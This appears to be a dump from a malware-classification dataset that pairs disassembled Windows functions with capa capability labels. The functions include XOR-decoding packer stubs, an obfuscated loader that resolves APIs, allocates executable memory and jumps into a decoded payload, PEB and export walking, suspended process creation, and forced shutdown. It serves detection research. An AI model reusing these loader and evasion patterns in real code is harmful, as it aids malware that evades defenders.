joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4461b0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffffff
push 0x466fe8
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push ebp
push esi
push edi
mov eax, dword [0x49001c]
xor eax, esp
push eax
lea eax, [esp + 0x28]
mov dword fs:[0], eax
call fcn.00427d60
mov ecx, eax
add ecx, 4
lea eax, [esp + 0x18]
call fcn.00412510
xor ebx, ebx
mov dword [esp + 0x30], ebx
call fcn.00427d60
mov esi, eax
add esi, 4
call fcn.00410530
mov ebp, dword [esp + 0x1c]
mov dword [esp + 0x14], eax
test ebp, ebp
je 0x446298
mov eax, dword [esp + 0x20]
sub eax, ebp
sar eax, 2
cmp ebx, eax
jae 0x44628b
mov edi, dword [ebp + ebx*4]
cmp dword [edi], 0
jne 0x44626c
mov esi, dword [edi + 4]
test esi, esi
je 0x44626c
mov ecx, dword [esi + 0x33c]
mov eax, dword [esp + 0x38]
cmp ecx, dword [eax + 0x3c]
jne 0x44626c
add eax, 0x78
push eax
lea edx, [esi + 0x2c8]
push edx
call dword [0x469ef4]
add esp, 8
test al, al
je 0x44626c
mov eax, dword [esp + 0x38]
push eax
add esi, 0x300
push esi
call dword [0x469ef4]
add esp, 8
test al, al
jne 0x446271
add ebx, 1
jmp 0x446207
cmp edi, dword [esp + 0x14]
jne 0x44627e
mov ecx, dword [esp + 0x3c]
mov byte [ecx], 1
push ebp
call fcn.0045cfa4
add esp, 4
mov eax, ebx
jmp 0x44629b
test ebp, ebp
je 0x446298
push ebp
call fcn.0045cfa4
add esp, 4
or eax, 0xffffffff
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret 8
Function at 0x453380
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffffff
push 0x46048b
mov eax, dword fs:[0]
push eax
sub esp, 0x88
mov eax, dword [0x49001c]
xor eax, esp
mov dword [esp + 0x84], eax
push ebx
push ebp
push esi
mov eax, dword [0x49001c]
xor eax, esp
push eax
lea eax, [esp + 0x98]
mov dword fs:[0], eax
mov eax, dword [esp + 0xa8]
mov ebx, ecx
mov dword [esp + 0x10], ebx
test edi, edi
mov dword [esp + 0xa0], 0
je 0x4535b8
test eax, eax
je 0x4535b8
cmp dword [esp + 0xc0], 0
je 0x4535b8
cmp dword [ebx + 8], 0
jbe 0x4535b8
mov edx, dword [edi]
mov edx, dword [edx + 0x5c]
lea ecx, [esp + 0xac]
push ecx
push eax
mov ecx, edi
call edx
test eax, eax
mov dword [esp + 0x1c], eax
je 0x4535b8
mov eax, dword [ebx + 4]
mov esi, dword [eax]
mov ebp, ebx
mov dword [esp + 0x18], esi
mov dword [esp + 0x14], ebp
test ebp, ebp
mov ebx, dword [ebx + 4]
je 0x453434
cmp ebp, dword [esp + 0x10]
je 0x45343a
call dword [0x469f94]
cmp esi, ebx
je 0x45359c
test ebp, ebp
jne 0x45344c
call dword [0x469f94]
cmp esi, dword [ebp + 4]
jne 0x453457
call dword [0x469f94]
mov eax, dword [esi + 0x10]
add esi, 0x14
push esi
lea ecx, [esp + 0x60]
mov dword [esp + 0x5c], eax
call dword [0x469ee4]
push 0x471e24
lea ecx, [esp + 0x40]
mov byte [esp + 0xa4], 1
call dword [0x469efc]
mov ecx, dword [esp + 0x1c]
lea eax, [esp + 0x3c]
mov byte [esp + 0xa0], 2
mov edx, dword [edi]
mov edx, dword [edx + 0x5c]
push eax
push ecx
mov ecx, edi
call edx
lea ecx, [esp + 0x3c]
mov esi, eax
mov byte [esp + 0xa0], 1
call dword [0x469f00]
test esi, esi
je 0x453570
lea ecx, [esp + 0x78]
call dword [0x469ef8]
mov byte [esp + 0xa0], 3
mov eax, dword [esp + 0x58]
push eax
lea ecx, [esp + 0x7c]
push 0x4707b0
push ecx
call dword [0x4695d4]
add esp, 0xc
push 0x473568
lea ecx, [esp + 0x24]
call dword [0x469efc]
lea eax, [esp + 0x78]
push eax
mov byte [esp + 0xa4], 4
mov edx, dword [edi]
mov edx, dword [edx + 0x6c]
lea ecx, [esp + 0x24]
push ecx
push esi
mov ecx, edi
call edx
lea ecx, [esp + 0x20]
mov byte [esp + 0xa0], 3
call dword [0x469f00]
push str.name
lea ecx, [esp + 0x24]
call dword [0x469efc]
lea ecx, [esp + 0x5c]
push ecx
mov byte [esp + 0xa4], 5
mov eax, dword [edi]
mov eax, dword [eax + 0x6c]
lea edx, [esp + 0x24]
push edx
push esi
mov ecx, edi
call eax
lea ecx, [esp + 0x20]
mov byte [esp + 0xa0], 3
call dword [0x469f00]
lea ecx, [esp + 0x78]
mov byte [esp + 0xa0], 1
call dword [0x469f00]
lea ecx, [esp + 0x5c]
mov byte [esp + 0xa0], 0
call dword [0x469f00]
lea esi, [esp + 0x14]
call fcn.00453e10
mov esi, dword [esp + 0x18]
mov ebp, dword [esp + 0x14]
mov ebx, dword [esp + 0x10]
jmp 0x453427
lea ecx, [esp + 0xac]
mov dword [esp + 0xa0], 0xffffffff
call dword [0x469f00]
mov al, 1
jmp 0x4535d2
lea ecx, [esp + 0xac]
mov dword [esp + 0xa0], 0xffffffff
call dword [0x469f00]
xor al, al
mov ecx, dword [esp + 0x98]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x84]
xor ecx, esp
call fcn.0045cf88
add esp, 0x94
ret 0x20
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..rsrc
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
je 0x430072
nop
nop
nop
nop
mov ebx, 0x408f6c
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x132e066d
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x430060
nop
nop
mov eax, section..data
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4300d2
nop
nop
mov ebx, 0x42e3d0
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x3f9e377a
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x403104
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x417008], 0x8088405
inc edx
mov dword [ebx + 0x417008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x403734
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x417024]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x4037cc
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
jne 0x4037ac
xor eax, eax
push ebp
push 0x4037a5
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403804
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExW
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4037ac
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
movzx eax, word [0x417024]
and ax, 0xffc0
movzx edx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x417024], ax
mov esp, ebp
pop ebp
ret

Function at 0x404618
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x41804c], 0
je 0x404679
cmp word [0x418328], 0xd7b2
jne 0x404641
cmp dword [0x418330], 0
jbe 0x404641
mov eax, 0x418324
call dword [0x418340]
push 0
lea eax, [esp + 4]
push eax
push 0x1d
push 0x417780
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x4046a4
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x417030], 0
jne 0x404695
push 0
push 0x417778
push 0x417780
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x40b8ac
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x200]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoW_1
test eax, eax
jle 0x40b8e5
mov ecx, eax
dec ecx
lea edx, [ebp - 0x200]
mov eax, ebx
call fcn.00405008
jmp 0x40b8ee
mov eax, ebx
mov edx, esi
call fcn.00404ecc
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40b8f8
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov edi, ecx
mov esi, edx
mov ebx, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push ebx
call sub.kernel32.dll_GetLocaleInfoW_1
test eax, eax
jle 0x40b91a
movzx eax, word [esp]
jmp 0x40b91c
mov eax, edi
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40da63
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffdf8
mov ebx, eax
mov eax, ebx
call fcn.00404ac0
mov ebp, eax
push 0
push 0
push ebp
push ebx
push 0
push 0xfde9
call sub.kernel32.dll_MultiByteToWideChar_1
mov edi, eax
cmp edi, 0x104
jbe 0x40da86
mov eax, edi
add eax, eax
call fcn.00402e24
mov esi, eax
jmp 0x40da88
mov esi, esp
push edi
push esi
push ebp
push ebx
push 0
push 0xfde9
call sub.kernel32.dll_MultiByteToWideChar_1
push edi
push esi
call sub.user32.dll_CharUpperBuffW
xor ebx, ebx
mov eax, edi
dec eax
test eax, eax
jl 0x40dac1
inc eax
xor edx, edx
mov ecx, ebx
shl ecx, 5
shr ebx, 0x1b
or ecx, ebx
mov ebx, ecx
movzx ecx, word [esi + edx*2]
xor ebx, ecx
inc edx
dec eax
jne 0x40daab
mov eax, esp
cmp esi, eax
je 0x40dace
mov eax, esi
call fcn.00402e40
mov eax, ebx
add esp, 0x208
pop ebp
pop edi
pop esi
pop ebx
ret
push esi
push ebx
mov esi, eax
xor eax, eax
push esi
rol eax, 5
mov bl, byte [esi]
test bl, 0x80
jne 0x40db08
cmp bl, 0
je 0x40db04
cmp bl, 0x41
jl 0x40daff
cmp bl, 0x5a
jg 0x40daff
or bl, 0x20
xor al, bl
inc esi
jmp 0x40dae3
pop ecx
pop ebx
pop esi
ret
pop eax
pop ebx
pop esi
jmp 0x40da48

Function at 0x40e6f8
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
mov ebx, eax
xor eax, eax
push ebp
push 0x40e73e
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 4]
mov eax, ebx
call fcn.0040e68c
mov eax, dword [ebp - 4]
call fcn.00404f58
push eax
call sub.kernel32.dll_GetFileAttributesW
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40e745
lea eax, [ebp - 4]
call fcn.00404ebc
ret
Function at 0x40f6e4
Capabilities:
Hash data with crc32

Disassembly:
push esi
xor esi, esi
mov ecx, 0x41cd98
mov eax, esi
mov edx, 8
test al, 1
je 0x40f700
shr eax, 1
xor eax, 0xedb88320
jmp 0x40f702
shr eax, 1
dec edx
jne 0x40f6f3
mov dword [ecx], eax
inc esi
add ecx, 4
cmp esi, 0x100
jne 0x40f6ec
pop esi
ret

Function at 0x40f718
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, ecx
mov edi, edx
mov ebx, eax
cmp dword [0x41cd94], 0
jne 0x40f73b
call fcn.0040f6e4
push 1
push 0x41cd94
call sub.kernel32.dll_InterlockedExchange
mov eax, edi
test esi, esi
je 0x40f766
mov edx, ebx
and edx, 0xff
movzx ecx, byte [eax]
xor dx, cx
movzx edx, dx
mov edx, dword [edx*4 + 0x41cd98]
shr ebx, 8
xor edx, ebx
mov ebx, edx
dec esi
inc eax
test esi, esi
jne 0x40f741
mov eax, ebx
pop edi
pop esi
pop ebx
ret

Function at 0x41118c
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
mov esi, edx
mov ebx, eax
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.00411140
test al, al
jne 0x4111ad
xor eax, eax
mov dword [ebp - 4], eax
jmp 0x4111f9
xor eax, eax
push ebp
push 0x4111e9
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00404f58
push eax
call sub.kernel32.dll_DeleteFileW
mov dword [ebp - 4], eax
call sub.kernel32.dll_GetLastError
mov dword [ebp - 0x10], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4111f0
lea eax, [ebp - 0xc]
call fcn.0041117c
ret
mov eax, dword [ebp - 4]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x411438
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
mov ecx, 4
push 0
push 0
dec ecx
jne 0x411440
push ecx
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x41152d
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
call fcn.0040ea30
mov edx, dword [ebp - 8]
mov ecx, 0x411548
xor eax, eax
call fcn.0041131c
push 0
mov eax, dword [ebp - 4]
call fcn.00404f58
push eax
call sub.kernel32.dll_CreateDirectoryW
test eax, eax
jne 0x4114fb
call sub.kernel32.dll_GetLastError
mov ebx, eax
cmp ebx, 0xb7
je 0x41145a
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x1c]
mov edx, dword [ebp - 4]
mov al, 0x2f
call fcn.00410f44
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], eax
mov eax, ebx
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x20]
call fcn.004084dc
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
lea edx, [ebp - 0x24]
mov eax, ebx
call fcn.0040efb8
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x10], eax
lea edx, [ebp - 0x18]
mov ecx, 2
mov al, 0x60
call fcn.00410f14
mov ecx, dword [ebp - 0xc]
mov dl, 1
mov eax, dword [0x406f70]
call fcn.0040c21c
call fcn.004040b0
jmp 0x41145a
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.00404ecc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x411534
lea eax, [ebp - 0x24]
mov edx, 3
call fcn.00404ec4
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404ec4
ret
Function at 0x41155c
Capabilities:
Shutdown system

Disassembly:
add esp, 0xffffffec
mov eax, dword [0x417d90]
cmp dword [eax], 2
jne 0x4115c4
push esp
push 0x28
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
test eax, eax
jne 0x41157f
xor eax, eax
jmp 0x4115d3
lea eax, [esp + 8]
push eax
push 0x4115d8
push 0
call sub.advapi32.dll_LookupPrivilegeValueW
mov dword [esp + 4], 1
mov dword [esp + 0x10], 2
push 0
push 0
push 0
lea eax, [esp + 0x10]
push eax
push 0
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.kernel32.dll_GetLastError
test eax, eax
je 0x4115c4
xor eax, eax
jmp 0x4115d3
push 0
push 2
call sub.user32.dll_ExitWindowsEx
cmp eax, 1
sbb eax, eax
inc eax
add esp, 0x14
ret

Function at 0x411600
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov ebx, eax
mov esi, ecx
dec esi
test esi, esi
jl 0x41165a
inc esi
xor edi, edi
cmp edi, 1
jne 0x411626
mov eax, dword [ebp + 0xc]
push eax
call sub.kernel32.dll_Sleep_1
jmp 0x411634
cmp edi, 1
jle 0x411634
mov eax, dword [ebp + 8]
push eax
call sub.kernel32.dll_Sleep_1
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.0041118c
test eax, eax
jne 0x41165a
call sub.kernel32.dll_GetLastError
cmp eax, 2
je 0x41165a
call sub.kernel32.dll_GetLastError
cmp eax, 3
je 0x41165a
inc edi
dec esi
jne 0x411616
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 8

Function at 0x411664
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, eax
push 2
lea eax, [ebp - 4]
push eax
push 0x20001004
movzx eax, bx
push eax
call sub.kernel32.dll_GetLocaleInfoW_1
test eax, eax
jle 0x411688
mov eax, dword [ebp - 4]
jmp 0x41168b
or eax, 0xffffffff
pop ebx
pop ecx
pop ebp
ret
Function at 0x411690
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov esi, ecx
mov byte [ebp - 1], dl
mov edi, eax
mov eax, dword [ebp + 8]
xor edx, edx
mov dword [eax], edx
mov byte [ebp - 2], 0
test esi, esi
je 0x4116dd
xor ebx, ebx
jmp 0x4116d2
mov eax, dword [ebp - 8]
mov edx, dword [eax]
mov eax, esi
call fcn.00407f9c
test eax, eax
jne 0x4116d1
mov eax, dword [ebp + 8]
mov dword [eax], ebx
mov byte [ebp - 2], 2
jmp 0x411787
inc ebx
lea edx, [ebp - 8]
mov eax, ebx
call edi
test al, al
jne 0x4116b3
movzx eax, byte [ebp - 1]
sub al, 1
jb 0x4116e9
je 0x4116f2
jmp 0x4116fb
call fcn.0040ece8
mov esi, eax
jmp 0x4116fd
call sub.kernel32.dll_GetUserDefaultLangID
mov esi, eax
jmp 0x4116fd
xor esi, esi
test si, si
je 0x411787
xor ebx, ebx
jmp 0x411723
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x28]
movzx edx, si
cmp eax, edx
jne 0x411722
mov eax, dword [ebp + 8]
mov dword [eax], ebx
mov byte [ebp - 2], 1
jmp 0x411787
inc ebx
lea edx, [ebp - 8]
mov eax, ebx
call edi
test al, al
jne 0x41170a
xor ebx, ebx
jmp 0x41177c
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x28]
and eax, 0x3ff
mov edx, esi
and dx, 0x3ff
movzx edx, dx
cmp eax, edx
jne 0x41177b
mov eax, esi
and ax, 0x3ff
cmp ax, 4
jne 0x411770
mov eax, dword [ebp - 8]
movzx eax, word [eax + 0x28]
call fcn.00411664
push eax
mov eax, esi
call fcn.00411664
pop edx
cmp edx, eax
jne 0x41177b
mov eax, dword [ebp + 8]
mov dword [eax], ebx
mov byte [ebp - 2], 1
jmp 0x411787
inc ebx
lea edx, [ebp - 8]
mov eax, ebx
call edi
test al, al
jne 0x411732
movzx eax, byte [ebp - 2]
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret 4

Function at 0x412e38
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebx
push ebp
push esi
mov esi, dword [esp + 0x10]
push edi
test esi, esi
je 0x412e75
mov eax, dword [esi + 0x3c]
xor edi, edi
mov ebx, dword [eax + esi + 0x78]
add ebx, esi
mov ebp, dword [ebx + 0x20]
add ebp, esi
cmp dword [ebx + 0x18], edi
jbe 0x412e75
mov eax, dword [ebp + edi*4]
push dword [esp + 0x18]
add eax, esi
push eax
call fcn.00412ed0
pop ecx
pop ecx
test al, al
jne 0x412e7c
inc edi
cmp edi, dword [ebx + 0x18]
jb 0x412e59
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret
mov eax, dword [ebx + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + esi]
mov eax, dword [ebx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + esi]
add eax, esi
jmp 0x412e77

Function at 0x412e93
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0x30]
push esi
push edi
mov edi, dword [esp + 0x10]
mov esi, dword [eax + 0xc]
add esi, 0xc
Function at 0x412f76
Capabilities:
Terminate process

Disassembly:
push ecx
push ecx
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x10]
xor ebp, ebp
push eax
push ebp
mov dword [esp + 0x18], ebp
call fcn.00412e93
push ebp
push dword [0x417760]
mov ebx, eax
call fcn.00412e93
mov esi, dword [0x41778c]
add esp, 0x10
mov edi, eax
cmp dword [esi], ebp
je 0x412fd9
push dword [esp + 0x10]
call fcn.00412ef7
pop ecx
cmp al, byte [esi]
je 0x412fc1
cmp al, byte [esi + 1]
jne fcn.00413098
push dword [esp + 0x10]
call fcn.00412f2b
pop ecx
cmp eax, dword [esi + 4]
je 0x412fd9
cmp eax, dword [esi + 8]
jne fcn.00413098
push dword [0x417784]
mov dword [esp + 0x18], ebp
push ebp
call dword [sym.imp.kernel32.dll_LocalAlloc]
mov esi, eax
mov edx, ebp
cmp dword [0x417754], ebp
jbe 0x413011
mov ecx, dword [0x417788]
mov ecx, dword [ecx + edx]
mov dword [edx + esi], ecx
mov eax, dword [0x417790]
add edx, eax
cmp edx, dword [0x417754]
jb 0x412ff6
push esi
push edi
call fcn.00412e38
mov edi, eax
pop ecx
pop ecx
test edi, edi
je fcn.00413098
mov esi, dword [0x41776c]
lea eax, [esp + 0x14]
push eax
push dword [0x417754]
push dword [0x417780]
push esi
call edi
mov edx, dword [0x417770]
add edx, ebx
push 8
pop ecx
mov ebx, dword [edx + 4]
cmp dword [0x417780], ecx
jbe 0x413067
mov eax, dword [edx + ecx]
add eax, ebx
mov dword [esi + ecx], eax
mov eax, dword [0x417790]
add ecx, eax
cmp ecx, dword [0x417780]
jb 0x413050
mov eax, dword [0x417778]
mov dword [esi + 8], eax
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x18]
push dword [0x417780]
push esi
call edi
mov eax, dword [0x417768]
mov ecx, dword [esi + 0xc]
add ecx, eax
mov eax, dword [0x417768]
add ecx, esi
add esi, eax
push esi
call ecx
pop ecx

Function at 0x414f2c
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x415001
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x41501c
push ebx
push 0x41502c
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.00405370
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.00403270
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00404f58
push eax
push 0
call sub.kernel32.dll_CreateProcessW
test eax, eax
jne 0x414fac
mov al, 0x62
call fcn.00414ba4
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.00414f00
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
cmp eax, 1
je 0x414fb5
call fcn.00414f00
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x415008
lea eax, [ebp - 4]
call fcn.00404ebc
ret
Function at 0x41511c
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffb4
mov dword [esp], eax
lea esi, [esp + 0x30]
lea eax, [esp + 0xc]
push eax
call sub.kernel32.dll_GetSystemInfo_1
mov edi, dword [esp]
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery_1
test eax, eax
je 0x4151e7
jmp 0x4151db
cmp dword [esi + 0x10], 0x1000
jne 0x4151c7
test byte [esi + 0x15], 1
jne 0x4151c7
mov byte [esp + 4], 0
mov ebp, dword [esi + 0x14]
cmp ebp, 1
je 0x415178
cmp ebp, 2
je 0x415178
cmp ebp, 0x10
je 0x415178
cmp ebp, 0x20
jne 0x415194
lea eax, [esp + 8]
push eax
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x415194
mov byte [esp + 4], 1
xor ebx, ebx
jmp 0x4151a5
mov eax, dword [esi]
add eax, ebx
call fcn.00415114
add ebx, dword [esp + 0x10]
cmp ebx, dword [esi + 0xc]
jb 0x415198
cmp byte [esp + 4], 0
je 0x4151c7
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 0xc]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov edi, eax
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery_1
test eax, eax
je 0x4151e7
mov eax, dword [esi + 4]
cmp eax, dword [esp]
je 0x41514d
add esp, 0x4c
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x403f59
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x403f68
pop dword [ebp - 8]
mov eax, 0x8864022f
add eax, 0x77dc3d39
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0xf746948b
add dword [ebp - 0x18], 0x570bb0c0
mov dword [ebp - 0x14], 0xe97f6e
sub dword [ebp - 0x14], 0xceb63329
mov dword [ebp - 0x10], 0x7e631ecb
add dword [ebp - 0x10], 0xcde92563
mov dword [ebp - 0xc], 0x73b67287
sub dword [ebp - 0xc], 0x73b67287
lea eax, [ebp - 0x18]
push eax
mov eax, 0x28669aa6
add eax, 0xd7da35ae
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0xbb6b6f5f
sub dword [ebp - 0x18], 0x46f90609
mov dword [ebp - 0x14], 0x29f5f56e
add dword [ebp - 0x14], 0x17766c07
mov dword [ebp - 0x10], 0x6d645dbc
sub dword [ebp - 0x10], 0x9f4f150
mov dword [ebp - 0xc], 0x44708dd8
sub dword [ebp - 0xc], 0x44708dd8
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, 0x81190242
add eax, 0x7f27ce0a
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x3d9b0
push 0
call eax
mov ecx, 0x580a
xor ebx, ebx
add ebx, eax
mov edi, 0x132746fd
add edi, 0xed1a6903
add edi, dword [ebp - 8]
mov edx, 0x3f533568
add edx, 0x9bf01403
mov esi, dword [edi]
mov dword [ebp - 4], 0x9660fb1e
add esi, edx
xor dword [ebp - 4], 0x33dd4b67
mov dword [ebx], esi
add dword [ebp - 4], 0xb8593669
add ebx, 0x71fa077c
add ebx, 0x8e05f888
add edi, 4
loop 0x404086
add eax, 0x3440a637
add eax, 0xcbc0acc4
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x49a16641
add ecx, 0xb69e99bf
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x10008420
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1c
mov dword [ebp - 0x1c], esp
mov dword [ebp - 0x10], 0xffffffff
mov dword [ebp - 0x14], 0x10009300
lea eax, [ebp - 0x18]
mov ecx, dword fs:[0]
mov dword [ebp - 0x18], ecx
mov dword fs:[0], eax
push 0x40
push 0x1000
push 0x75c5e
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
push 0x75c5e
push 0x1004e9a4
push eax
call fcn.1003e760
add esp, 0xc
lea edi, [ebp - 0x28]
push esi
push edi
call fcn.10005550
add esp, 8
push edi
call fcn.100053f0
add esp, 4
test eax, eax
jne 0x100084a0
push 0
push 0xffffffffffffffff
push 0xffffffffffffffff
call fcn.10023270
add esp, 0xc
jmp 0x10008490
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x10], 0
push 0x100c460c
push 0x1004e8ec
push edi
push 0x2b
push 0x1004e8c0
call fcn.1004d6e0
add esp, 0x14
ud2